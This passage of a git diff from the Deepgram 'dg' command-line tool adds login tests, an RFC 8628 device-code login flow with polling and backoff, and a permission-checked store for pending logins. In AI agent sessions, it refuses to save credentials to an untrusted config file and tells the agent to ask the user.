+        else "is owned by another user"
+    )
+    assert dumped(result) == {
+        "error": (
+            "In an AI agent session, dg can't save a login to "
+            "~/.config/deepctl/config.yaml "
+            f"because the file {why}. Nothing was sent or saved."
+        ),
+        "status": "error",
+        "code": "state_unwritable",
+        "hint": "A person must fix this file. If you are an AI agent, ask the user.",
+        "next_step": None,
+        "schema_version": 1,
+        "details": {"reason": "untrusted_config", "path": str(env["user"])},
+    }
+    assert cmd.exit_code_for(result) == 1
+    err = capsys.readouterr().err
+    assert "HINT: A person must fix this file." in err
+    assert env["user"].read_bytes() == before
+    if case == "writable":
+        assert stat.S_IMODE(env["user"].stat().st_mode) == 0o666
+    assert env["fake"].requests == [] and verified == []
+    assert env["keyring"] == {}
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+def test_untrusted_config_comes_before_the_env_key_trap(env, monkeypatch):
+    write_user(env, mode=0o666)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    _, result = run(env)
+    assert result.code == "state_unwritable"
+    assert result.details["reason"] == "untrusted_config"
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX modes")
+def test_writable_config_without_an_agent_still_logs_in(env, agent):
+    agent(False)
+    write_user(env, mode=0o666)
+    _, result = run(env, no_browser=True)
+    assert isinstance(result, LoginPendingResult)
+
+
+# ── mode A stderr ────────────────────────────────────────────────
+
+
+def test_mode_a_stderr_keeps_only_prefixed_lines():
+    import io
+
+    real = io.StringIO()
+    filtered = login_module._ModeAStderr(real)
+    for text in (
+        "Starting web authentication...\n",
+        "INFO: link\n",
+        "✓ API key stored\n",
+        "Warning: Project ID not provided\n",
+        "Error: something only chrome says\n",
+        "HINT: h\n",
+    ):
+        filtered.write(text)
+    assert real.getvalue() == "INFO: link\nHINT: h\n"
+
+
+def test_mode_a_stderr_verbose_keeps_chrome_as_info_lines():
+    import io
+
+    real = io.StringIO()
+    filtered = login_module._ModeAStderr(real, verbose=True)
+    filtered.write("Starting web authentication...\n")
+    filtered.write("\nYou are now\nlogged in\n")
+    filtered.write("WARN: w\n")
+    assert real.getvalue() == (
+        "INFO: Starting web authentication...\nINFO: You are now\nINFO: logged in\n"
+        "WARN: w\n"
+    )
+
+
+def test_api_key_login_in_agent_mode_has_empty_stderr(env, monkeypatch, capsys):
+    """J4.3: no project ID is chrome, not a warning, in mode A."""
+    monkeypatch.setattr(
+        AuthManager, "verify_credentials", lambda self, *a, **k: (True, "ok", None)
+    )
+    write_user(env)
+    capsys.readouterr()
+    _, result = run(env, api_key="0123456789abcdef0123456789abcdef01234567")
+    assert result.status == "success"
+    assert capsys.readouterr().err == ""
+
+
+# ── Edge cases ───────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize("server_interval", [1, 0, 5])
+def test_poll_interval_has_a_6_s_floor(env, server_interval):
+    env["fake"].interval = server_interval
+    run(env)
+    assert json.loads(pending_path(env).read_text())["interval"] == 6
+    _, result = run(env, complete=True)
+    assert result.details["retry_after"] >= 6
+
+
+def test_slow_down_honours_retry_after(env):
+    run(env)
+    env["fake"].answers = [DevicePoll("slow_down", retry_after=30)]
+    _, result = run(env, complete=True)
+    assert result.details["retry_after"] == 30
+    assert json.loads(pending_path(env).read_text())["interval"] == 30
+
+
+def test_slow_down_adds_5_s(env):
+    run(env)
+    env["fake"].answers = [DevicePoll("slow_down")]
+    _, result = run(env, complete=True)
+    assert result.details["retry_after"] == 11
+
+
+def test_wait_backs_off_on_server_errors(env, monkeypatch):
+    slept: list[float] = []
+    monkeypatch.setattr(login_module.time, "sleep", slept.append)
+    run(env)
+    env["fake"].answers = [
+        DevicePoll("unavailable", detail="HTTP 503", retry_after=60),
+        DevicePoll("unavailable", detail="HTTP 502"),
+        approved(),
+    ]
+    write_user(env)
+    _, result = run(env, complete=True, wait=True)
+    assert result.status == "success"
+    assert slept[0] == 60 and slept[1] == 65
+
+
+def test_server_error_without_wait_keeps_the_pending_login(env):
+    run(env)
+    env["fake"].answers = [DevicePoll("unavailable", detail="HTTP 503")]
+    _, result = run(env, complete=True)
+    assert result.status == "error"
+    assert pending_path(env).exists()
+
+
+def test_wait_stops_at_local_expiry(env, monkeypatch):
+    clock = {"now": time.time()}
+    monkeypatch.setattr(
+        login_module.time, "sleep", lambda s: clock.__setitem__("now", clock["now"] + s)
+    )
+    monkeypatch.setattr(login_state.time, "time", lambda: clock["now"])
+    monkeypatch.setattr(login_module.time, "time", lambda: clock["now"])
+    run(env)
+    env["fake"].answers = [DevicePoll("unavailable", retry_after=3600)] * 3
+    _, result = run(env, complete=True, wait=True)
+    assert result.code == "auth_expired"
+
+
+@pytest.mark.parametrize("body", [[], None, "text", 7])
+def test_unreadable_device_code_answer_is_coded(env, monkeypatch, capsys, body):
+    from unittest.mock import Mock
+
+    def device_code(self, identity_url=None):
+        response = Mock(status_code=201)
+        response.json.return_value = body
+        self.client.post = Mock(return_value=response)
+        return _REAL_REQUEST(self, identity_url)
+
+    monkeypatch.setattr(AuthManager, "_request_device_code", device_code)
+    for kwargs in ({}, {"wait": True}):
+        capsys.readouterr()
+        cmd, result = run(env, **kwargs)
+        assert dumped(result) == {
+            "error": "Got a response from id.dx.deepgram.com that dg couldn't read.",
+            "status": "error",
+            "code": "network_unavailable",
+            "hint": (
+                "Retry once. If it fails again, tell the user that something on this "
+                "network (a proxy, captive portal or firewall) is answering in "
+                "Deepgram's place."
+            ),
+            "next_step": None,
+            "schema_version": 1,
+            "details": {"host": "id.dx.deepgram.com", "reason": "unreadable response"},
+        }
+        assert cmd.exit_code_for(result) == 1
+        assert "TypeError" not in capsys.readouterr().err
+    assert not pending_path(env).exists()
+
+
+@pytest.mark.parametrize("interval", [-3, "6", None, True, float("nan")])
+def test_unusable_pending_interval_is_no_pending_login(env, interval):
+    run(env)
+    data = json.loads(pending_path(env).read_text())
+    data["interval"] = interval
+    pending_path(env).write_text(json.dumps(data))
+    os.chmod(pending_path(env), 0o600)
+    _, result = run(env, complete=True)
+    assert result.code == "auth_expired"
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+
+
+def test_small_pending_interval_is_raised_to_the_floor(env):
+    run(env)
+    data = json.loads(pending_path(env).read_text())
+    data["interval"] = 0
+    pending_path(env).write_text(json.dumps(data))
+    os.chmod(pending_path(env), 0o600)
+    _, result = run(env, complete=True)
+    assert result.details["retry_after"] == 6
+
+
+def test_complete_with_another_profile_is_a_usage_error(env):
+    import click
+
+    run(env, profile="work")
+    with pytest.raises(click.UsageError, match='pending login is for profile "work"'):
+        run(env, complete=True, profile="other")
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+    env["fake"].answers = [DevicePoll("pending")]
+    _, result = run(env, complete=True, profile="work")
+    assert result.code == "auth_pending"
+
+
+def test_complete_with_save_base_url_is_a_usage_error(env):
+    import click
+
+    with pytest.raises(click.UsageError):
+        run(env, complete=True, save_base_url=True)
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_strings.py b/packages/deepctl-cmd-login/tests/unit/test_login_strings.py
new file mode 100644
index 00000000..a5550789
--- /dev/null
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_strings.py
@@ -0,0 +1,79 @@
+"""Login's user-facing strings equal the error catalogue's.
+
+Runs when DG_ERROR_CODES_JSON names the catalogue file; skipped otherwise.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+
+import pytest
+from deepctl_core import messages as msg
+
+CATALOGUE = os.environ.get("DG_ERROR_CODES_JSON")
+pytestmark = pytest.mark.skipif(not CATALOGUE, reason="DG_ERROR_CODES_JSON not set")
+
+# catalogue id -> messages.py constant
+IDS = {
+    "E-CONFIRM-ENVKEY": "E_CONFIRM_ENVKEY",
+    "A-CONFIRM-ENVKEY": "A_CONFIRM_ENVKEY",
+    "A-CONFIRM-ENVKEY-NULL": "A_CONFIRM_ENVKEY_NULL",
+    "C-CONFIRM-ENVKEY-NULL": "C_CONFIRM_ENVKEY_NULL",
+    "E-CONFIRM-RELOGIN": "E_CONFIRM_RELOGIN",
+    "H-CONFIRM-YES": "H_CONFIRM_YES",
+    "A-CONFIRM-YES": "A_CONFIRM_YES",
+    "A-CONFIRM-YES-NULL": "A_CONFIRM_YES_NULL",
+    "C-CONFIRM-YES-NULL": "C_CONFIRM_YES_NULL",
+    "M-LOGIN-PENDING": "M_LOGIN_PENDING",
+    "I-LOGIN-PENDING": "I_LOGIN_PENDING",
+    "A-LOGIN-PENDING": "A_LOGIN_PENDING",
+    "H-LOGIN-PENDING": "H_LOGIN_PENDING",
+    "E-AUTH-PENDING": "E_AUTH_PENDING",
+    "H-AUTH-PENDING": "H_AUTH_PENDING",
+    "A-AUTH-PENDING": "A_AUTH_PENDING",
+    "E-AUTH-EXPIRED": "E_AUTH_EXPIRED",
+    "H-AUTH-EXPIRED": "H_AUTH_EXPIRED",
+    "A-AUTH-EXPIRED": "A_AUTH_EXPIRED",
+    "E-AUTH-DENIED": "E_AUTH_DENIED",
+    "H-AUTH-DENIED": "H_AUTH_DENIED",
+    "A-AUTH-DENIED": "A_AUTH_DENIED",
+    "E-STATE-UNWRITABLE": "E_STATE_UNWRITABLE",
+    "H-STATE-UNWRITABLE": "H_STATE_UNWRITABLE",
+    "A-STATE-UNWRITABLE": "A_STATE_UNWRITABLE",
+    "E-CFG-SAVE-UNTRUSTED": "E_CFG_SAVE_UNTRUSTED",
+    "W-LOGIN-PENDING-UNTRUSTED": "W_LOGIN_PENDING_UNTRUSTED",
+    "E-NETWORK-UNREADABLE": "E_NETWORK_UNREADABLE",
+    "H-NETWORK-UNREADABLE": "H_NETWORK_UNREADABLE",
+    "A-NETWORK-UNREADABLE": "A_NETWORK_UNREADABLE",
+}
+
+
+@pytest.fixture(scope="module")
+def catalogue():
+    with open(CATALOGUE, encoding="utf-8") as f:
+        return json.load(f)
+
+
+@pytest.mark.parametrize(("cid", "const"), sorted(IDS.items()))
+def test_string_matches_the_catalogue(catalogue, cid, const):
+    assert getattr(msg, const) == catalogue["strings"][cid]
+
+
+def test_codes_and_details_keys(catalogue):
+    codes = catalogue["codes"]
+    used = {
+        msg.CODE_CONFIRMATION_REQUIRED: {"flag"},
+        msg.CODE_AUTH_PENDING: {"retry_after", "verification_uri", "user_code"},
+        msg.CODE_AUTH_EXPIRED: set(),
+        msg.CODE_AUTH_DENIED: set(),
+        msg.CODE_STATE_UNWRITABLE: {"dir", "reason", "path"},
+        msg.CODE_NETWORK_UNAVAILABLE: {"host", "reason"},
+    }
+    for code, keys in used.items():
+        assert code in codes
+        assert keys <= set(codes[code].get("details") or [])
+    reasons = codes["state_unwritable"]["details_values"]["E-CFG-SAVE-UNTRUSTED"]
+    assert reasons["reason"] == ["untrusted_config"]
+    unreadable = codes["network_unavailable"]["details_values"]["E-NETWORK-UNREADABLE"]
+    assert unreadable["reason"] == ["unreadable response"]
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 42ae5da3..5261ebcf 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -3,17 +3,19 @@
 import os
 import time
 import webbrowser
+from dataclasses import dataclass
 from datetime import datetime, timedelta, timezone
 from typing import TYPE_CHECKING, Any
-from urllib.parse import urlencode
+from urllib.parse import urlsplit
 
-from pydantic import BaseModel
+from pydantic import BaseModel, field_validator
 
 from . import hosts, output
 from . import messages as msg
 from .client import _split_base_url
 from .config import Config
 from .hosts import check_credential_host, check_identity_host
+from .login_state import MIN_POLL_INTERVAL
 from .models import ProfileInfo, ProfilesResult
 from .output import stderr_console
 
@@ -66,6 +68,21 @@ def _load_modules() -> None:
 # Keyring service identifier using reverse domain notation
 KEYRING_SERVICE = "com.deepgram.dx.deepctl"
 
+# Sent where the identity provider asks for a device name: a fixed value,
+# never this machine's hostname.
+DEVICE_NAME = "deepctl"
+DEVICE_CODE_GRANT = "urn:ietf:params:oauth:grant-type:device_code"
+
+
+def _https_or_loopback(url: str | None) -> str | None:
+    """``url`` when it is https, or http to a loopback host; else ValueError."""
+    if url is None:
+        return None
+    origin = hosts.parse_origin(url)
+    if origin is None or not (origin.secure or hosts.is_loopback(origin.host)):
+        raise ValueError("the login link must use https")
+    return url
+
 
 class DeviceCodeResponse(BaseModel):
     """Response from device code request."""
@@ -75,18 +92,47 @@ class DeviceCodeResponse(BaseModel):
     verification_uri: str
     verification_uri_complete: str | None = None
     expires_in: int
-    interval: int
+    interval: int = 5
+
+    _check_uris = field_validator("verification_uri", "verification_uri_complete")(
+        _https_or_loopback
+    )
 
 
 class TokenResponse(BaseModel):
-    """Response from token request."""
+    """Response from token request (``pid`` is the RFC 8628 path's name for
+    the project ID)."""
 
     access_token: str
-    project_id: str
+    project_id: str | None = None
+    pid: str | None = None
     dg_token: str | None = None
     dg_expires_in: int | None = None
 
 
+@dataclass(frozen=True)
+class DevicePoll:
+    """One answer from the token endpoint.
+
+    ``state`` is ``token`` (``token`` is set), ``pending``, ``slow_down``,
+    ``denied``, ``expired`` or ``error`` (``detail`` says why).
+    """
+
+    state: str
+    token: TokenResponse | None = None
+    detail: str = ""
+    retry_after: int | None = None
+
+
+def _retry_after(response: "httpx.Response") -> int | None:
+    """The server's Retry-After in whole seconds (delta form only), or None."""
+    value = response.headers.get("Retry-After")
+    if not isinstance(value, str) or not value.strip().isdigit():
+        return None
+    value = value.strip()
+    return min(int(value), 3600)
+
+
 def _insecure_allowed() -> bool:
     """Whether DEEPGRAM_CLI_INSECURE may turn off TLS verification.
 
@@ -137,12 +183,28 @@ def _warn_if_verified(request: "httpx.Request") -> None:
         output.print_hint(escape(msg.W_INSECURE_REMOTE_HINT))
 
 
+def escape(text: str) -> str:
+    """rich.markup.escape, imported on first use (no rich at import)."""
+    from rich.markup import escape as rich_escape
+
+    return rich_escape(text)
+
+
 class AuthenticationError(Exception):
     """Authentication related errors."""
 
     pass
 
 
+class DeviceCodeUnreadable(AuthenticationError):
+    """The device-code answer from ``host`` couldn't be read (not a JSON
+    object with the expected fields): ``network_unavailable``."""
+
+    def __init__(self, host: str) -> None:
+        super().__init__(f"unreadable device code response from {host}")
+        self.host = host
+
+
 class AuthManager:
     """Cross-platform authentication manager."""
 
@@ -587,13 +649,12 @@ def login_with_api_key(
             elif error_type == "project":
                 # Project ID is invalid, but the key might be fine — warn but
                 # still store the key so the user isn't locked out.
-                console.print(
-                    f"[yellow]Warning:[/yellow] {message}. "
-                    "API key will still be stored."
+                output.print_warning(
+                    escape(f"{message}. API key will still be stored."), stderr=True
                 )
                 console.print(
-                    "[dim]You can update the project ID later with: "
-                    "deepctl login --project-id <id>[/dim]"
+                    "[dim]You can set the project ID later with: "
+                    f"{transport.prog() or 'dg'} login --project-id <id>[/dim]"
                 )
                 # Clear the bad project_id so we don't store it
                 project_id = None
@@ -614,8 +675,13 @@ def login_with_api_key(
             console.print("[green]✓[/green] API key stored securely in system keyring")
             keyring_available = True
         except Exception as e:
-            console.print(f"[yellow]Warning:[/yellow] Could not store in keyring: {e}")
-            console.print("API key will be stored in config file instead")
+            output.print_warning(
+                escape(
+                    f"Could not store in keyring: {e}. "
+                    "The API key will be stored in the config file instead."
+                ),
+                stderr=True,
+            )
 
         # Update config with non-sensitive data
         # Only store API key in config if keyring is not available
@@ -631,7 +697,7 @@ def login_with_api_key(
         if project_id:
             console.print(f"[dim]Project ID:[/dim] {project_id}")
 
-    def login_with_device_flow(self) -> None:
+    def login_with_device_flow(self, open_browser: bool = True) -> None:
         """Login using device flow (interactive method)."""
         console.print("[blue]Starting device flow authentication...[/blue]")
 
@@ -639,9 +705,6 @@ def login_with_device_flow(self) -> None:
         identity_url = check_identity_host(self.config)
 
         try:
-            # Get hostname for device identification
-            hostname = os.uname().nodename if hasattr(os, "uname") else "unknown"
-
             # Request device code from dx-id auth provider
             device_response = self._request_device_code(identity_url)
 
@@ -651,28 +714,37 @@ def login_with_device_flow(self) -> None:
             )
 
             # Open browser immediately and start polling
-            console.print(
-                "\n[bold]Hello from Deepgram![/bold] Opening browser to "
-                "complete login..."
+            if open_browser:
+                console.print(
+                    "\n[bold]Hello from Deepgram![/bold] Opening browser to "
+                    "complete login..."
+                )
+            else:
+                console.print(
+                    "\n[bold]Hello from Deepgram![/bold] Open the link below to "
+                    "complete login."
+                )
+            output.print_info(
+                escape(
+                    msg.I_LOGIN_PENDING.format(
+                        verification_uri=msg.display(device_response.verification_uri),
+                        user_code=msg.display(device_response.user_code or ""),
+                    )
+                ),
+                stderr=True,
             )
-            if device_response.user_code:
-                console.print(f"[bold]Enter code:[/bold] {device_response.user_code}")
-
-            try:
-                webbrowser.open(verification_uri)
-                console.print("[green]✓[/green] Opened browser for authentication")
-            except Exception as e:
-                console.print(f"[yellow]Warning:[/yellow] Could not open browser: {e}")
 
-            console.print(
-                f"[dim]If the browser didn't open, visit:[/dim] "
-                f"[dim]{verification_uri}[/dim]\n"
-            )
+            if open_browser:
+                try:
+                    webbrowser.open(verification_uri)
+                    console.print("[green]✓[/green] Opened browser for authentication")
+                except Exception as e:
+                    console.print(
+                        f"[yellow]Warning:[/yellow] Could not open browser: {e}"
+                    )
 
             # Poll for token (starts immediately — user may have clicked the link)
-            token_response = self._poll_for_token(
-                device_response, hostname, identity_url
-            )
+            token_response = self._poll_for_token(device_response, identity_url)
 
             # Store token and get user info
             self._store_token(token_response)
@@ -680,6 +752,8 @@ def login_with_device_flow(self) -> None:
             console.print("\n[green]Key created and stored successfully.[/green]")
             console.print("\nYou are now logged in. Happy coding!")
 
+        except DeviceCodeUnreadable:
+            raise
         except Exception as e:
             console.print(f"[red]Error during device flow:[/red] {e}")
             raise AuthenticationError(f"Device flow failed: {e}")
@@ -692,11 +766,9 @@ def _request_device_code(
         Returns:
             DeviceCodeResponse with device code and verification URI
         """
-        hostname = os.uname().nodename if hasattr(os, "uname") else "unknown"
-
         payload = {
             "client_id": CLIENT_ID,
-            "hostname": hostname,
+            "hostname": DEVICE_NAME,
             "scopes": "openid profile email",
         }
 
@@ -708,8 +780,18 @@ def _request_device_code(
                 headers={"Content-Type": "application/json"},
             )
 
-            if response.status_code == 201:
-                return DeviceCodeResponse(**response.json())
+            if response.status_code in (200, 201):
+                host = urlsplit(base).hostname or base
+                try:
+                    body = response.json()
+                except ValueError:
+                    raise DeviceCodeUnreadable(host) from None
+                if not isinstance(body, dict):
+                    raise DeviceCodeUnreadable(host)
+                try:
+                    return DeviceCodeResponse(**body)
+                except (ValueError, TypeError):  # incl. pydantic ValidationError
+                    raise DeviceCodeUnreadable(host) from None
             else:
                 raise AuthenticationError(
                     f"Device code request failed: {response.status_code}"
@@ -718,25 +800,69 @@ def _request_device_code(
         except httpx.RequestError as e:
             raise AuthenticationError(f"Network error during device code request: {e}")
 
+    def poll_device_token(
+        self, device_code: str, identity_url: str | None = None
+    ) -> DevicePoll:
+        """Ask the token endpoint once whether ``device_code`` was approved.
+
+        A POST (RFC 8628 §3.4), so the device code never lands in a URL,
+        and no device name is sent. Network errors are raised
+        (``httpx.RequestError``).
+        """
+        base = identity_url or check_identity_host(self.config)
+        response = self.client.post(
+            f"{base}/token",
+            data={
+                "grant_type": DEVICE_CODE_GRANT,
+                "device_code": device_code,
+                "client_id": CLIENT_ID,
+            },
+        )
+        try:
+            body = response.json()
+        except ValueError:
+            body = None
+        if not isinstance(body, dict):
+            body = {}
+        if response.status_code in (200, 201):
+            try:
+                return DevicePoll("token", token=TokenResponse(**body))
+            except ValueError:
+                return DevicePoll("error", detail="unusable token response")
+        if response.status_code == 429:
+            return DevicePoll("slow_down", retry_after=_retry_after(response))
+        error = body.get("error")
+        if response.status_code >= 500 or error == "temporarily_unavailable":
+            # A transient server problem: back off and ask again.
+            return DevicePoll(
+                "unavailable",
+                detail=f"HTTP {response.status_code}",
+                retry_after=_retry_after(response),
+            )
+        state = {
+            "authorization_pending": "pending",
+            "slow_down": "slow_down",
+            "access_denied": "denied",
+            "expired_token": "expired",
+        }.get(error if isinstance(error, str) else "")
+        if state is not None:
+            return DevicePoll(state)
+        reason = error if isinstance(error, str) else "unknown error"
+        return DevicePoll(
+            "error", detail=f"HTTP {response.status_code}: {msg.display(reason)[:80]}"
+        )
+
     def _poll_for_token(
         self,
         device_response: DeviceCodeResponse,
-        hostname: str,
         identity_url: str | None = None,
     ) -> TokenResponse:
-        """Poll for token using device code."""
+        """Poll for token using device code until approved, denied or expired."""
         console.print("\n[blue]Waiting for authentication...[/blue]")
 
         start_time = time.time()
-
-        query_params = {
-            "device_code": device_response.device_code,
-            "client_id": CLIENT_ID,
-            "hostname": hostname,
-        }
-
+        interval = max(MIN_POLL_INTERVAL, device_response.interval)
         base = identity_url or check_identity_host(self.config)
-        poll_url = f"{base}/device/token?{urlencode(query_params)}"
 
         from rich.progress import Progress, SpinnerColumn, TextColumn
 
@@ -750,28 +876,26 @@ def _poll_for_token(
 
             while time.time() - start_time < device_response.expires_in:
                 try:
-                    # Use GET request like Go implementation
-                    response = self.client.get(poll_url)
-
-                    if response.status_code == 201:
-                        response_data = response.json()
-                        return TokenResponse(**response_data)
-                    elif response.status_code == 404:
-                        # Still pending - this is the expected status code from
-                        # Go implementation
-                        time.sleep(device_response.interval)
-                        continue
-                    else:
-                        error_data = response.json()
-                        raise AuthenticationError(
-                            f"Token request failed: "
-                            f"{error_data.get('error', 'Unknown error')}"
-                        )
-
+                    poll = self.poll_device_token(device_response.device_code, base)
                 except httpx.RequestError as e:
                     console.print(f"[red]Network error:[/red] {e}")
-                    time.sleep(device_response.interval)
+                    time.sleep(interval)
+                    continue
+                if poll.state == "token" and poll.token is not None:
+                    return poll.token
+                if poll.state == "pending":
+                    time.sleep(interval)
                     continue
+                if poll.state in ("slow_down", "unavailable"):
+                    interval = max(interval + 5, poll.retry_after or 0)
+                    left = device_response.expires_in - (time.time() - start_time)
+                    time.sleep(max(0.0, min(interval, left)))
+                    continue
+                if poll.state == "denied":
+                    raise AuthenticationError(msg.E_AUTH_DENIED)
+                if poll.state == "expired":
+                    break
+                raise AuthenticationError(str(poll.detail))
 
         raise AuthenticationError("Authentication timed out")
 
@@ -804,10 +928,13 @@ def _store_token(self, token_response: TokenResponse) -> None:
                 )
                 keyring_available = True
             except Exception as e:
-                console.print(
-                    f"[yellow]Warning:[/yellow] Could not store in keyring: {e}"
+                output.print_warning(
+                    escape(
+                        f"Could not store in keyring: {e}. "
+                        "The API key will be stored in the config file instead."
+                    ),
+                    stderr=True,
                 )
-                console.print("API key will be stored in config file instead")
 
             for keyring_key in (f"jwt.{profile_name}", f"refresh-token.{profile_name}"):
                 self._delete_keyring_credential(keyring_key)
@@ -815,7 +942,7 @@ def _store_token(self, token_response: TokenResponse) -> None:
             self.config.create_profile(
                 profile_name,
                 api_key=api_key if not keyring_available else None,
-                project_id=token_response.project_id,
+                project_id=token_response.project_id or token_response.pid,
             )
             profile = self.config.get_profile(profile_name)
             profile.dg_token_expires_at = expires_at
@@ -824,10 +951,6 @@ def _store_token(self, token_response: TokenResponse) -> None:
                 console.print(
                     "[green]✓[/green] API key stored securely in system keyring"
                 )
-            else:
-                console.print(
-                    "[yellow]Warning:[/yellow] API key stored in the config file fallback"
-                )
             return
 
         raise AuthenticationError(
diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index 4b15951b..b310a6b9 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -1000,17 +1000,20 @@ def _save_refusal(st: os.stat_result | None) -> str | None:
 
 class ConfigSaveRefused(OSError):
     """An explicit save refused in an AI agent session; ``hint`` says who
-    fixes it."""
+    fixes it, ``why`` is the cause (a W_CFG_UNTRUSTED_WHY key)."""
 
     hint = msg.W_CFG_UNTRUSTED_FILE_HINT
+    why: str = ""
 
 
 def _save_refused(why: str, config_path: Path) -> ConfigSaveRefused:
-    return ConfigSaveRefused(
+    exc = ConfigSaveRefused(
         errno.EPERM,
         msg.W_CFG_SAVE_UNTRUSTED.format(why=msg.W_CFG_UNTRUSTED_WHY[why]),
         str(config_path),
     )
+    exc.why = why
+    return exc
 
 
 @contextmanager
@@ -1308,7 +1311,10 @@ def _get_default_config_path(self) -> Path:
         """Get the default configuration path for the current platform."""
         # Use platformdirs for cross-platform config directory
         config_dir = Path(platformdirs.user_config_dir("deepctl", "deepgram"))
-        _private_mkdir(config_dir)
+        # A home dg can't write (a read-only mount) still runs every command;
+        # a save reports the error, and dg login stops with state_unwritable.
+        with suppress(OSError):
+            _private_mkdir(config_dir)
 
         # Migrate from old location if needed
         self._migrate_config_if_needed(config_dir)
@@ -1332,14 +1338,17 @@ def _migrate_config_if_needed(self, new_config_dir: Path) -> None:
         # If old config exists and new doesn't, migrate it
         if old_config_path.exists() and not new_config_path.exists():
             try:
-                print(f"Migrating config from {old_config_path} to {new_config_path}")
+                print(
+                    f"Migrating config from {old_config_path} to {new_config_path}",
+                    file=sys.stderr,
+                )
                 text = old_config_path.read_text(encoding="utf-8")
                 # Written like any save: 0600, atomic, never via the source's mode.
                 with _directory_lock(new_config_dir):
                     self._replace_or_rewrite(new_config_path, text)
-                print("✓ Config migrated successfully")
+                print("✓ Config migrated successfully", file=sys.stderr)
             except Exception as e:
-                print(f"Warning: Could not migrate config: {e}")
+                print(f"Warning: Could not migrate config: {e}", file=sys.stderr)
 
     def _get_project_config_path(self) -> Path:
         """Get the project-specific configuration path."""
diff --git a/packages/deepctl-core/src/deepctl_core/login_state.py b/packages/deepctl-core/src/deepctl_core/login_state.py
new file mode 100644
index 00000000..2a5eeb58
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/login_state.py
@@ -0,0 +1,307 @@
+"""dg's state directory and the pending device-login store.
+
+``state_dir()`` is the one helper every state file goes through:
+``~/.deepctl`` in 0.5.0; a later release repoints it.
+
+``dg login`` in an agent session asks for a device code, saves it here and
+returns at once; ``dg login --complete`` polls once with it. The file holds
+the device code, its user code, link, poll interval, expiry, the identity
+host and the profile. Never a key.
+"""
+
+from __future__ import annotations
+
+import dataclasses
+import errno
+import json
+import math
+import os
+import secrets
+import stat
+import sys
+import time
+from dataclasses import asdict, dataclass
+from pathlib import Path
+
+PENDING_NAME = "login-pending.json"
+# The shortest poll interval dg uses, whatever the server says: the server allows
+# 60 token requests per 5 minutes per address, and 6 s leaves headroom.
+MIN_POLL_INTERVAL = 6
+_MAX_PENDING_BYTES = 8192
+_O_NOFOLLOW = getattr(os, "O_NOFOLLOW", 0)
+_O_DIRECTORY = getattr(os, "O_DIRECTORY", 0)
+_O_NONBLOCK = getattr(os, "O_NONBLOCK", 0)
+_O_BINARY = getattr(os, "O_BINARY", 0)
+
+# Why a pending file fails the agent-session trust test; the
+# values are msg.W_CFG_UNTRUSTED_WHY keys.
+WHY_SYMLINK = "symlink"
+WHY_OWNER = "owner"
+WHY_WRITABLE = "writable"
+WHY_NOT_REGULAR = "not_regular"
+WHY_LINKS = "links"
+
+
+def state_dir() -> Path:
+    """dg's state directory (``~/.deepctl`` in 0.5.0)."""
+    return Path.home() / ".deepctl"
+
+
+class StateDirError(OSError):
+    """The state directory can't hold a pending login (``state_unwritable``)."""
+
+
+def unwritable_dir(directory: Path, file: Path | None = None) -> Path | None:
+    """``directory`` when dg couldn't create or write a file in it, else None.
+
+    Checks without creating anything: the nearest existing ancestor must be
+    a directory this process may write and search. ``file`` (an existing
+    file in ``directory`` that dg would rewrite in place) also counts as
+    writable.
+    """
+    if file is not None:
+        try:
+            if os.path.isfile(file) and os.access(file, os.W_OK):
+                return None
+        except OSError:
+            pass
+    probe = directory
+    while True:
+        try:
+            st = os.stat(probe)
+        except FileNotFoundError:
+            parent = probe.parent
+            if parent == probe:
+                return directory
+            probe = parent
+            continue
+        except OSError:
+            return directory
+        if not stat.S_ISDIR(st.st_mode):
+            return directory
+        return None if os.access(probe, os.W_OK | os.X_OK) else directory
+
+
+@dataclass(frozen=True)
+class PendingLogin:
+    """A device code waiting for approval."""
+
+    device_code: str
+    user_code: str
+    verification_uri: str
+    interval: int
+    expires_at: float
+    host: str
+    profile: str
+
+    def expired(self, now: float | None = None) -> bool:
+        return (time.time() if now is None else now) >= self.expires_at
+
+    def expires_in(self, now: float | None = None) -> int:
+        left = self.expires_at - (time.time() if now is None else now)
+        return max(0, int(left))
+
+
+def _from_json(data: object) -> PendingLogin | None:
+    if not isinstance(data, dict):
+        return None
+    try:
+        pending = PendingLogin(
+            device_code=data["device_code"],
+            user_code=data["user_code"],
+            verification_uri=data["verification_uri"],
+            interval=data["interval"],
+            expires_at=data["expires_at"],
+            host=data["host"],
+            profile=data["profile"],
+        )
+    except (KeyError, TypeError):
+        return None
+    strings = (
+        pending.device_code,
+        pending.user_code,
+        pending.verification_uri,
+        pending.host,
+        pending.profile,
+    )
+    if not all(isinstance(value, str) and value for value in strings):
+        return None
+    interval = pending.interval
+    if (
+        not isinstance(interval, (int, float))
+        or isinstance(interval, bool)
+        or interval != interval  # NaN
+        or interval < 0
+        or interval == float("inf")
+    ):
+        return None  # not a usable interval: no pending login
+    pending = dataclasses.replace(
+        pending, interval=max(MIN_POLL_INTERVAL, math.ceil(interval))
+    )
+    if not isinstance(pending.expires_at, (int, float)) or isinstance(
+        pending.expires_at, bool
+    ):
+        return None
+    return pending
+
+
+def _open_dir(directory: Path, *, create: bool) -> int:
+    """Open ``directory`` (made 0700 when ``create``) and check it.
+
+    It must be a directory owned by this user; one the user can't keep
+    private is refused. Group or other bits on the user's own directory are
+    removed, so the pending file is in a 0700 directory.
+    """
+    if create:
+        try:
+            os.makedirs(directory.parent, exist_ok=True)
+            os.mkdir(directory, 0o700)
+        except FileExistsError:
+            pass
